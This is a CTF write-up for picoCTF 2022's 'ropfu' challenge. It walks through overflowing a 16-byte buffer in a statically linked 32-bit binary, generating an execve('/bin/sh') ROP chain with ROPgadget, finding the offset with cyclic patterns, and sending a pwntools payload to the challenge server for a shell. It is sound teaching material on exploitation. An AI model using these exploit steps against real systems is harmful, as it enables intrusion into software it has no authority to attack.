Skip to main content

ropfu picoCTF 2022 Solution

A binary exploitation challenge with no win function, requiring you to build an execution chain from scratch.

Published: July 20, 2023Updated: August 13, 2026

Description

No win() function this time. The binary is a small, statically-linked 32-bit ELF with a 16-byte buffer you can overflow. Because there is no helper function that prints the flag, you build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call execve("/bin/sh", NULL, NULL) and spawn a shell.

ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers, ultimately executing a syscall. Because the binary is statically linked, every libc gadget you need is already inside it, so ROPgadget can assemble the whole execve chain automatically.

Download the binary. Confirm it is a statically-linked 32-bit ELF and check mitigations with checksec.

Install ROPgadget: pip install ropgadget.

Let ROPgadget build the execve chain, then prepend the overflow padding.

bash
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vuln
bash
file vuln   # ELF 32-bit LSB executable, statically linked
bash
checksec --file=vuln
bash
ROPgadget --binary vuln --ropchain

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it

For the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.

  1. Step 1Let ROPgadget build the execve chain
    Observation
    The binary is statically linked with NX on and no win() helper, so shellcode injection is out. But every libc gadget is baked into the ELF at a fixed address, which means ROPgadget's --ropchain flag can assemble a complete execve chain with no info leak at all.
    Because vuln is statically linked, ROPgadget can find a writable data address for the "/bin/sh" string plus all the pop/mov gadgets to set up the registers, and it will print a complete chain for you. Run it with --ropchain and it builds an execve("/bin/sh", NULL, NULL) chain automatically.
    bash
    ROPgadget --binary vuln --ropchain
    bash
    # Inspect what it built: it loads a writable address, writes '/bin/sh' there,
    bash
    # zeroes ecx/edx, puts 11 (sys_execve) in eax, then int 0x80.
    bash
    ROPgadget --binary vuln | grep -E 'int 0x80|pop eax|pop ebx|pop ecx|pop edx'

    The generated chain ends in the 32-bit Linux execve syscall: the kernel reads eax = 11 (sys_execve), ebx pointing at the string "/bin/sh", and ecx = edx = 0, then runs int 0x80. ROPgadget plants the /bin/sh string into a writable section itself, so no info-leak is required.

    What didn't work first

    Tried: Running ROPgadget without --ropchain and manually assembling a gadget list for execve.

    Without --ropchain, ROPgadget lists gadgets and solves nothing: you still have to find a writable address, write /bin/sh byte by byte through mov gadgets, zero two registers, set eax to 11, and align it all. The flag automates that and emits working Python.

    Tried: Using the same ROPgadget --ropchain output against a dynamically-linked binary.

    On a dynamically linked binary, libc gadgets sit at ASLR-randomized runtime addresses, so the static ones ROPgadget finds are wrong on every run. This binary is statically linked, with every gadget at a fixed address inside the ELF, which is exactly why the chain works with no leak.

    Learn more

    A ROP gadget is a short sequence of instructions ending with a ret (return). By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets: ret pops the next address off the stack into EIP, executing the next gadget.

    For a 32-bit Linux execve("/bin/sh", NULL, NULL) via int 0x80 you need:

    • eax = 11 (syscall number for execve)
    • ebx = pointer to the string "/bin/sh"
    • ecx = 0 (argv = NULL)
    • edx = 0 (envp = NULL)
    • int 0x80 to trigger the syscall

    NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. A statically-linked binary is the easiest possible ROP target: every libc gadget is already mapped, so ROPgadget's --ropchain can fully automate the build.

  2. Step 2Derive the overflow offset to EIP
    Observation
    The buffer is 16 bytes, but the saved return address sits beyond it, past the saved EBP on 32-bit, so the offset has to be measured rather than guessed. Send a De Bruijn cyclic pattern and read the crashed EIP for the exact distance.
    Find how far past the buffer your input reaches the saved return address. Send a cyclic pattern, crash the binary, and feed the faulting EIP back into cyclic_find. The offset is small (the buffer is 16 bytes plus saved EBP), so expect a value in the high-20s; verify it on your copy rather than assuming.
    bash
    cyclic 64 > /tmp/pat
    python
    python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"
    bash
    # read the crashed EIP from the core dump or gdb, then:
    python
    python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"  # prints OFFSET

    Send a cyclic pattern so you do not have to guess. The bytes that land in EIP identify a unique slice of the De Bruijn sequence, and cyclic_find returns the exact distance:

    $ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"
    $ gdb -q ./vuln core
    ... eip 0x6161616c ...
    $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"
    <OFFSET>

    Use that <OFFSET> as the padding length before the ROP chain.

    What didn't work first

    Tried: Guessing the offset as exactly 16 (the buffer size) and skipping the cyclic pattern step.

    The offset is the buffer size plus the saved EBP, 4 bytes on 32-bit, plus whatever alignment padding the compiler added, so it exceeds 16. Guess 16 and you overwrite EBP while leaving the return address intact, giving a clean crash rather than control of EIP. The cyclic pattern removes the guessing.

    Tried: Using gdb's 'info registers' on a non-crashing run instead of sending a pattern and inspecting the core dump.

    Without input that overflows the buffer, the return address is never corrupted and EIP shows the ordinary return target. Send the cyclic payload, let the binary crash, then read the core dump, or run it under gdb with the pattern on stdin, to see what value landed in EIP at the fault.

    Learn more

    The vulnerable read is an unbounded gets()-style call into a 16-byte buffer. The padding to reach the saved return address is the buffer size plus the saved frame pointer (and any alignment), which is why the offset is a little larger than 16.

    cyclic / cyclic_find generates a De Bruijn sequence so every 4-byte window appears exactly once. That makes the crash self-identifying: the value sitting in EIP maps to one and only one offset.

  3. Step 3Prepend the padding and fire the chain
    Observation
    ROPgadget has already emitted a complete Python execve chain as packed 32-bit values, and cyclic_find has given the exact offset to the saved return address. All that remains is prepending that many filler bytes and sending the payload.
    Paste the chain ROPgadget generated (it defines a p helper and builds it into a variable), prepend OFFSET bytes of padding, and send it. The execve chain spawns /bin/sh; then read the flag with ls and cat.
    python
    python3 -c "
    from pwn import *
    
    OFFSET = <OFFSET>   # from cyclic_find above
    
    # --- paste the chain ROPgadget --ropchain printed here ---
    # It builds a byte string of p32(...) gadget addresses that ends in execve('/bin/sh').
    rop_chain = b''   # <-- replace with ROPgadget's generated chain bytes
    
    payload = b'A' * OFFSET + rop_chain
    
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendline(payload)
    p.interactive()   # then: ls ; cat flag.txt
    "

    Expected output

    picoCTF{ROP_1t_d0nt_st0p_...}
    What didn't work first

    Tried: Pasting the ROPgadget chain bytes directly without prepending the OFFSET padding bytes.

    Without the padding, the payload starts overwriting from the buffer's first byte, so the chain addresses land inside the buffer rather than on the saved return address. The binary returns to its original target and the chain never runs. The padding bridges from the start of the buffer to exactly where the saved return address sits.

    Tried: Using p.sendline(payload) against localhost with process('./vuln') to test before targeting the remote, but seeing the shell close immediately.

    Running locally through pwntools, the spawned shell keeps its stdin on the pwntools pipe. Once sendline finishes, the pipe reaches end-of-file and the shell exits. Switch to interactive mode before sending, so the pipe stays open and you can type commands yourself.

    Learn more

    Because the chain calls execve("/bin/sh", NULL, NULL), you drop into an interactive shell instead of printing a single buffer. From there ls and cat flag.txt read the flag directly off the server (often as root on these picoCTF instances).

    If you prefer building the chain by hand, pwntools can do it too: rop = ROP(elf); rop.execve(b'/bin/sh', 0, 0) then rop.chain(). For a statically-linked binary both approaches work; --ropchain is just the fastest path because it also handles writing the /bin/sh string into memory.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{ROP_1t_d0nt_st0p_...}

Statically-linked 32-bit binary, no win(). Build a ROP chain for execve("/bin/sh", NULL, NULL) via int 0x80 (eax=11, ebx -> "/bin/sh", ecx=edx=0). ROPgadget --ropchain assembles it automatically; prepend the overflow padding and spawn a shell to read the flag.

Key takeaway

Return-Oriented Programming gets past a non-executable stack by chaining short instruction sequences ending in ret that already live in the binary, instead of injecting new code. A statically linked binary is an especially rich target, because the whole C library sits in one address space and supplies every gadget an arbitrary syscall needs. The technique is the backbone of modern exploitation against NX-protected binaries, and ROPgadget and pwntools make chain construction tractable without hand-picking gadgets.

Related reading

Tools used in this challenge

Where to go next